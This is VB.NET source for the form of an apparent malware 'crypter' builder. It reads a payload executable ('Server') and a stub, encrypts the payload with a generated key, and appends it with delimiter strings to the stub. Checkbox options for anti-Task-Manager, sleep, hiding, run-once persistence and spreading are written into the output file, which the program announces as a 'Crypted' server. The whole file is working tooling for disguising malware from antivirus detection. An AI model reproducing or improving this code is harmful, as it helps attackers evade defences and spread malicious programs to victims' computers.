150 lines
4.3 KiB
VB.net
150 lines
4.3 KiB
VB.net
Public Class Form1
|
|
|
|
Const hamza = "%%HACKERSDZ%%Devpoint&&$$$Hamza££££"
|
|
Dim AntiTas, Sleepp, Hid, RunOnce, Spread As String
|
|
|
|
Dim DOTP As String = ""
|
|
|
|
Dim stub As String
|
|
|
|
Private Sub StButton1_Click(sender As Object, e As EventArgs) Handles StButton1.Click
|
|
Try
|
|
Dim ofd As New OpenFileDialog
|
|
ofd.Title = " Server"
|
|
ofd.Filter = ".exe | *.exe"
|
|
ofd.ShowDialog()
|
|
LogInNormalTextBox2.Text = ofd.FileName
|
|
|
|
Catch ex As Exception
|
|
|
|
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub StButton2_Click(sender As Object, e As EventArgs) Handles StButton2.Click
|
|
Try
|
|
Dim ofd As New OpenFileDialog
|
|
ofd.Title = "Stub"
|
|
ofd.Filter = ".exe | *.exe"
|
|
ofd.ShowDialog()
|
|
LogInNormalTextBox1.Text = ofd.FileName
|
|
|
|
Catch ex As Exception
|
|
|
|
|
|
End Try
|
|
End Sub
|
|
Public Function GeneratePassword(ByVal Uppers As Boolean, ByVal Lowers As Boolean, ByVal Numbers As Boolean, ByVal Specials As Boolean, ByVal passwordLength As Integer) As String
|
|
Dim H As String = ""
|
|
Dim Black As String = ""
|
|
|
|
If Uppers Then
|
|
H = (H & "あいうえおはひふへほもめみまこけくきかẦḆḈḒḔ123456789AZERTYUIOPQSSDFGHJKLMWXCVBN頂革難六五四事亊争予与ӨҞώϟωϐϚЀӔөӧҶҼҘқҍ")
|
|
End If
|
|
|
|
VBMath.Randomize()
|
|
Dim num2 As Integer = (passwordLength - 1)
|
|
Dim i As Integer = 0
|
|
Do While (i <= num2)
|
|
Black = (Black & Strings.Mid(H, CInt(Math.Round(CDbl(((Strings.Len(H) * VBMath.Rnd) + 1.0!)))), 1))
|
|
i += 1
|
|
Loop
|
|
Return Black
|
|
End Function
|
|
Private Sub StButton3_Click(sender As Object, e As EventArgs) Handles StButton3.Click
|
|
|
|
LogInNormalTextBox3.Text = (GeneratePassword(True, True, False, False, 60))
|
|
|
|
End Sub
|
|
|
|
Private Sub StButton4_Click(sender As Object, e As EventArgs) Handles StButton4.Click
|
|
Try
|
|
Dim sfd As New SaveFileDialog
|
|
|
|
LogInProgressBar1.Value = 10
|
|
|
|
Dim sfdname As String
|
|
|
|
sfd.Title = "Save Crypted File"
|
|
|
|
sfd.Filter = ".exe | *.exe"
|
|
|
|
sfd.ShowDialog()
|
|
|
|
sfdname = sfd.FileName
|
|
|
|
LogInProgressBar1.Value = 30
|
|
|
|
If StCheckBox2.Checked = True Then : AntiTas = True : Else : AntiTas = False : End If
|
|
|
|
|
|
If StCheckBox1.Checked = True Then : Sleepp = True : Else : Sleepp = False : End If
|
|
|
|
|
|
If StCheckBox4.Checked = True Then : Hid = True : Else : Hid = False : End If
|
|
|
|
|
|
If StCheckBox3.Checked = True Then : RunOnce = True : Else : RunOnce = False : End If
|
|
|
|
|
|
If StCheckBox5.Checked = True Then : Spread = True : Else : Spread = False : End If
|
|
|
|
|
|
LogInProgressBar1.Value = 60
|
|
|
|
If LogInNormalTextBox3.Text = "" Then
|
|
MsgBox("Please Generate A Key ", MsgBoxStyle.Information, "Invalid Key")
|
|
Exit Sub
|
|
Else
|
|
|
|
|
|
Dim DZ As New PXOR(LogInNormalTextBox3.Text)
|
|
|
|
Dim DEV As String = LogInNormalTextBox2.Text
|
|
|
|
Dim dddd As String = LogInNormalTextBox1.Text
|
|
|
|
FileOpen(1, DEV, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
|
|
|
|
DOTP = Space(LOF(1))
|
|
|
|
FileGet(1, DOTP)
|
|
|
|
FileClose(1)
|
|
|
|
FileOpen(1, dddd, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
|
|
|
|
stub = Space(LOF(1))
|
|
|
|
FileGet(1, stub)
|
|
|
|
FileClose(1)
|
|
|
|
FileOpen(1, sfdname, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
|
|
|
|
LogInProgressBar1.Value = 70
|
|
|
|
FilePut(1, stub & hamza & DZ.PolyCrypt(DOTP) & hamza & LogInNormalTextBox3.Text & hamza & AntiTas & hamza & Sleepp & hamza & Hid & hamza & RunOnce & hamza & Spread)
|
|
|
|
FileClose(1)
|
|
|
|
LogInProgressBar1.Value = 100
|
|
|
|
MsgBox("Your Server Has Been Crypted^^", MsgBoxStyle.Information, "^^Crypted^^")
|
|
|
|
Invalidate()
|
|
|
|
Refresh()
|
|
|
|
|
|
End If
|
|
Catch ex As Exception
|
|
|
|
End Try
|
|
|
|
|
|
End Sub
|
|
|
|
|
|
End Class
|